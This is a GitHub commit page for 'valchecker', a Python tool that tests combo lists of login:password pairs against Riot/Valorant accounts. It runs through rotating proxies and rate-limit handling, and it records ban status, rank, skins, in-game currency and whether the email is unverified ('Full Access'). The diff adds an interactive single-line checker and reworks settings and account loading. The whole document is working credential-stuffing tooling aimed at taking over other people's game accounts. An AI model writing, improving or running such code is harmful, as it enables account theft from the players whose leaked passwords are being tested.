Skip to content

Commit

Permalink
v3.15
Browse files Browse the repository at this point in the history
removed inv price checker, added singleline checker, removed default file, fixed validsort
  • Loading branch information
LIL-JABA committed Jul 27, 2023
1 parent 23e417d commit 75db47f
Show file tree
Hide file tree
Showing 5 changed files with 110 additions and 80 deletions.
58 changes: 49 additions & 9 deletions src/checker.py
Original file line number Diff line number Diff line change
Expand Up @@ -7,6 +7,7 @@
import traceback
from datetime import datetime
from os.path import exists
from InquirerPy import inquirer

from colorama import Fore

Expand All @@ -17,6 +18,54 @@
sys = systems.system()
stff = stuff.staff()

class singlelinechecker():
def __init__(self) -> None:
self.checkskins = inquirer.confirm(
message='wanna capture skins?', default=True,qmark=''
).execute()

def main(self) -> None:
authenticate = auth.auth()
while True:
logpass = input('account (login:password) or "E" to exit >>>')
if logpass == 'E': break
if not ':' in logpass: continue
account = authenticate.auth(logpass)
if account.banuntil is not None:
stff.checkban(account)
elif account.code == 1:
print('you have been ratelimited. wait 30-60 seconds and try again')
continue
elif account.code == 3 or account.code == 0:
print('invalid account')
continue
elif account.code == 4:
print('permbanned account')
continue
sys.get_region2(account)
if account.region == 'N/A' or account.region == '':
print('unknown region')
continue
if account.lvl < 20:
account.rank = 'locked'
else:
check.ranked(account)
if self.checkskins:
check.skins_en(account)
check.balance(account)
check.lastplayed(account)
print(f'''
| {account.logpass} |
ban until: {account.banuntil}
region: {account.region} country: {account.country}
rank: {account.rank} lvl: {account.lvl}
vp: {account.vp} rp: {account.rp}
last game: {account.lastplayed}''')
if self.checkskins:
print('skins:')
print('\n'.join(account.skins))
print('\n')

class simplechecker():
def __init__(self, settings: list, proxylist:list, version:str) -> None:
Expand Down Expand Up @@ -240,7 +289,6 @@ def checker(self, username, password):
else:
if account.unverifiedmail and account.banuntil is None:
self.unverifiedmail += 1
invprice = 0
while True:
sys.get_region2(account, proxy)
if account.region != 'N/A' and account.region != '':
Expand All @@ -261,10 +309,6 @@ def checker(self, username, password):
except:
self.ranks['unknown'] += 1
check.skins_en(account)
# get inv price
invprice = 0
for skin in account.skins:
invprice += check.skinprice(skin)
check.balance(account)
skinscount = len(account.skins)
if skinscount > 0 and account.banuntil == None:
Expand Down Expand Up @@ -318,7 +362,6 @@ def checker(self, username, password):
║ Full Access: {unverifmail} | Level: {lvl} | Region: {reg} , {country}{space*(61-len(f' Full Access: {unverifmail} | Level: {lvl} | Region: {reg} , {country}'))}
║ Rank: {rank} | Last Played: {lastplayed}{space*(61-len(f' Rank: {rank} | Last Played: {lastplayed}'))}
║ Valorant Points: {vp} | Radianite: {rp} | Skins: {skinscount}{space*(61-len(f' Valorant Points: {vp} | Radianite: {rp} | Skins: {skinscount}'))}
║ Inventory Price = {invprice} VP{space*(61-len(f' Inventory Price = {invprice} VP'))}
╠═════════════════════════════════════════════════════════════╣
{skinsformatted}
╚═════════════════════════════════════════════════════════════╝
Expand All @@ -341,7 +384,6 @@ def checker(self, username, password):
║ Full Access: {unverifmail} | Level: {lvl} | Region: {reg} , {country}{space*(61-len(f' Full Access: {unverifmail} | Level: {lvl} | Region: {reg} , {country}'))}
║ Rank: {rank} | Last Played: {lastplayed}{space*(61-len(f' Rank: {rank} | Last Played: {lastplayed}'))}
║ Valorant Points: {vp} | Radianite: {rp} | Skins: {skinscount}{space*(61-len(f' Valorant Points: {vp} | Radianite: {rp} | Skins: {skinscount}'))}
║ Inventory Price = {invprice} VP{space*(61-len(f' Inventory Price = {invprice} VP'))}
╠═════════════════════════════════════════════════════════════╣
{skinsformatted}
╚═════════════════════════════════════════════════════════════╝
Expand All @@ -367,7 +409,6 @@ def checker(self, username, password):
║ Full Access: {unverifmail} | Level: {lvl} | Region: {reg} , {country}{space*(61-len(f' Full Access: {unverifmail} | Level: {lvl} | Region: {reg} , {country}'))}
║ Rank: {rank} | Last Played: {lastplayed}{space*(61-len(f' Rank: {rank} | Last Played: {lastplayed}'))}
║ Valorant Points: {vp} | Radianite: {rp} | Skins: {skinscount}{space*(61-len(f' Valorant Points: {vp} | Radianite: {rp} | Skins: {skinscount}'))}
║ Inventory Price = {invprice} VP{space*(61-len(f' Inventory Price = {invprice} VP'))}
╠═════════════════════════════════════════════════════════════╣
{skinsformatted}
╚═════════════════════════════════════════════════════════════╝
Expand Down Expand Up @@ -398,7 +439,6 @@ def checker(self, username, password):
║ Full Access: {unverifmail} | Level: {lvl} | Region: {reg} , {country}{space*(61-len(f' Full Access: {unverifmail} | Level: {lvl} | Region: {reg} , {country}'))}
║ Rank: {rank} | Last Played: {lastplayed}{space*(61-len(f' Rank: {rank} | Last Played: {lastplayed}'))}
║ Valorant Points: {vp} | Radianite: {rp} | Skins: {skinscount}{space*(61-len(f' Valorant Points: {vp} | Radianite: {rp} | Skins: {skinscount}'))}
║ Inventory Price = {invprice} VP{space*(61-len(f' Inventory Price = {invprice} VP'))}
╠═════════════════════════════════════════════════════════════╣
{skinsformatted}
╚═════════════════════════════════════════════════════════════╝
Expand Down
16 changes: 7 additions & 9 deletions src/codeparts/systems.py
Original file line number Diff line number Diff line change
Expand Up @@ -47,7 +47,7 @@ def get_region(token: str, entt: str, proxy: dict):
return 'N/A', 'N/A'

@staticmethod
def get_region2(account, proxy: dict) -> None:
def get_region2(account, proxy: dict={'http':None,'https':None}) -> None:
# reg + country
session = requests.Session()
headers = {"User-Agent": f"RiotClient/{Constants.RIOTCLIENT} %s (Windows;10;;Professional, x64)",
Expand Down Expand Up @@ -107,15 +107,13 @@ def edit_settings():
os.system('cls')
f = open('system\\settings.json', 'r+')
data = json.load(f)
deffile = data['default_file']
max_rlimits = data['max_rlimits']
rlimit_wait = data['rlimit_wait']
cooldown = data['cooldown']
create_folder = data['new_folder']
proxyscraper = data['proxyscraper']
menu_choices = [
Separator(),
f'Default File: {deffile}',
f'RLimits to skip an acc: {max_rlimits}',
f'Wait if there is a RLimit (seconds): {rlimit_wait}',
f'Wait between checking accounts (seconds): {cooldown}',
Expand All @@ -130,7 +128,7 @@ def edit_settings():
default=menu_choices[0],
pointer='>'
).execute()
if edit == menu_choices[1]:
if edit == menu_choices[0]:
root = tkinter.Tk()
file = filedialog.askopenfile(parent=root, mode='rb', title='select file with accounts (login:password)',
filetype=(("txt", "*.txt"), ("All files", "*.txt")))
Expand All @@ -140,7 +138,7 @@ def edit_settings():
else:
filename = str(file).split("name='")[1].split("'>")[0]
data['default_file'] = filename
elif edit == menu_choices[2]:
elif edit == menu_choices[1]:
new_rlimits = input(
'enter the number of riot limits to skip this account (min 1) >>>')
if int(new_rlimits) < 1 or int(new_rlimits) > 999:
Expand All @@ -150,7 +148,7 @@ def edit_settings():
except:
print('u have to type a num from 1 to 999 (3 recommended)')
return
elif edit == menu_choices[3]:
elif edit == menu_choices[2]:
new_maxrlimits = input(
'enter the number of seconds to wait if there is a riot limit (min 1) >>>')
if int(new_maxrlimits) < 1 or int(new_maxrlimits) > 99999:
Expand All @@ -160,13 +158,13 @@ def edit_settings():
except:
print('u have to type a num from 1 to 99999 (30 recommended)')
return
elif edit == menu_choices[4]:
elif edit == menu_choices[3]:
new_cd = input(
'enter the number of seconds to wait between checking accounts (min 0) >>>')
if int(new_cd) < 0 or int(new_cd) > 99999:
return
data['cooldown'] = int(new_cd)
elif edit == menu_choices[5]:
elif edit == menu_choices[4]:
createfolder = [
Separator(),
'Yes',
Expand All @@ -179,7 +177,7 @@ def edit_settings():
pointer='>'
).execute().replace('Yes', 'True').replace('No', 'False')
data['new_folder'] = newfolder
elif edit == menu_choices[6]:
elif edit == menu_choices[5]:
default_scraperurl = 'https://api.proxyscrape.com/?request=getproxies&proxytype=http&timeout=10000&country=all&ssl=all&anonymity=all'
newscraperurl = ''
newscraperurl = input(
Expand Down
3 changes: 2 additions & 1 deletion src/codeparts/validsort.py
Original file line number Diff line number Diff line change
Expand Up @@ -123,6 +123,7 @@ def customsort(self):
matches=0
for account in accounts:
ctypes.windll.kernel32.SetConsoleTitleW(f'sorted {sorted}/{count} {matches} matches')
accounttowrite=account
account=account.lower()
gothis=True

Expand Down Expand Up @@ -206,7 +207,7 @@ def customsort(self):
sorted+=1
if gothis==True:
with open(f'{self.parentpath}/output/sorted.txt','a',encoding='UTF-8') as f:
f.write('╔═════════════════════════════════════════════════════════════╗'+account)#####################
f.write('╔═════════════════════════════════════════════════════════════╗'+accounttowrite)#####################
matches+=1
print(f'sorted {sorted}/{count} MATCH')
else:
Expand Down
112 changes: 52 additions & 60 deletions src/main.py
Original file line number Diff line number Diff line change
Expand Up @@ -62,6 +62,7 @@ def start(self):
menu_choices = [
Separator(),
'Start Checker',
'Single-Line Checker',
'Edit Settings',
'Sort Valid',
'Test Proxy',
Expand All @@ -79,16 +80,22 @@ def start(self):
).execute()
if res == menu_choices[1]:
self.main()
pr.start()
elif res == menu_choices[2]:
sys.edit_settings()
slchecker = checker.singlelinechecker()
slchecker.main()
pr.start()
elif res == menu_choices[3]:
sys.edit_settings()
pr.start()
elif res == menu_choices[4]:
valid.customsort()
input('done. press ENTER to exit')
elif res == menu_choices[4]:
sys.checkproxy()
pr.start()
elif res == menu_choices[5]:
sys.checkproxy()
pr.start()
elif res == menu_choices[6]:
os.system('cls')
print(f'''
valchecker v{self.version} by liljaba1337
Expand All @@ -104,54 +111,39 @@ def start(self):
''')
input()
pr.start()
elif res == menu_choices[7]:
elif res == menu_choices[8]:
os._exit(0)

def get_accounts(self, filename):
while True:
try:
with open(str(filename), 'r', encoding='UTF-8', errors='replace') as file:
lines = file.readlines()
ret = []
if len(lines) > 100000:
if inquirer.confirm(
message=f"You have more than 100k accounts ({len(lines)}). Do you want to skip the sorting part? (it removes doubles and bad logpasses but can be long)",
default=True,
qmark='!',
amark='!'
).execute():
self.count = len(lines)
return lines

for logpass in lines:
logpass = logpass.strip()
# remove doubles
if logpass not in ret and ':' in logpass:
self.count += 1
ctypes.windll.kernel32.SetConsoleTitleW(
f'ValChecker {self.version} by liljaba1337 | Loading Accounts ({self.count})')
ret.append(logpass)
return ret
except FileNotFoundError:
print(
f"can't find the default file ({filename})\nplease select a new one")
root = tkinter.Tk()
file = filedialog.askopenfile(parent=root, mode='rb', title='select file with accounts (login:password)',
filetype=(("txt", "*.txt"), ("All files", "*.txt")))
root.destroy()
os.system('cls')
if file == None:
print('you chose nothing')
input('press ENTER to choose again')
continue
filename = str(file).split("name='")[1].split("'>")[0]
with open('system\\settings.json', 'r+') as f:
data = json.load(f)
data['default_file'] = filename
f.seek(0)
json.dump(data, f, indent=4)
f.truncate()
continue
def get_accounts(self):
root = tkinter.Tk()
file = filedialog.askopenfile(parent=root, mode='rb', title='select file with accounts (login:password)',
filetype=(("txt", "*.txt"), ("All files", "*.txt")))
root.destroy()
os.system('cls')
if file == None:
os._exit(0)
filename = str(file).split("name='")[1].split("'>")[0]
with open(str(filename), 'r', encoding='UTF-8', errors='replace') as file:
lines = file.readlines()
ret = []
if len(lines) > 100000:
if inquirer.confirm(
message=f"You have more than 100k accounts ({len(lines)}). Do you want to skip the sorting part? (it removes doubles and bad logpasses but can be long)",
default=True,
qmark='!',
amark='!'
).execute():
self.count = len(lines)
return lines
for logpass in lines:
logpass = logpass.strip()
# remove doubles
if logpass not in ret and ':' in logpass:
self.count += 1
ctypes.windll.kernel32.SetConsoleTitleW(
f'ValChecker {self.version} by liljaba1337 | Loading Accounts ({self.count})')
ret.append(logpass)
return ret

def main(self):
ctypes.windll.kernel32.SetConsoleTitleW(
Expand Down Expand Up @@ -193,17 +185,6 @@ def main(self):
else:
print('Running Proxy Less...')

fn = settings['default_file']
ctypes.windll.kernel32.SetConsoleTitleW(
f'ValChecker {self.version} by liljaba1337 | Loading Accounts')
print('loading accounts')
accounts = self.get_accounts(fn)

print('loading assets')
ctypes.windll.kernel32.SetConsoleTitleW(
f'ValChecker {self.version} by liljaba1337 | Loading Assets')
sys.load_assets()

if inquirer.confirm(
message="Do you want to continue checking a .vlchkr file instead of loading a new .txt?", default=True
).execute():
Expand All @@ -216,8 +197,19 @@ def main(self):
else:
filename = str(file).split("name='")[1].split("'>")[0]
valkekersource = systems.vlchkrsource(filename)
accounts=None
else:
valkekersource = None
ctypes.windll.kernel32.SetConsoleTitleW(
f'ValChecker {self.version} by liljaba1337 | Loading Accounts')
print('loading accounts')
accounts = self.get_accounts()

print('loading assets')
ctypes.windll.kernel32.SetConsoleTitleW(
f'ValChecker {self.version} by liljaba1337 | Loading Assets')
sys.load_assets()

print('loading checker')
ctypes.windll.kernel32.SetConsoleTitleW(
f'ValChecker {self.version} by liljaba1337 | Loading Checker')
Expand Down
1 change: 0 additions & 1 deletion src/system/settings.json
Original file line number Diff line number Diff line change
@@ -1,5 +1,4 @@
{
"default_file": "C:/Users/roadhog/Downloads/search.txt",
"max_rlimits": 3,
"rlimit_wait": 30,
"cooldown": 0,
Expand Down

0 comments on commit 75db47f

Please sign in to comment.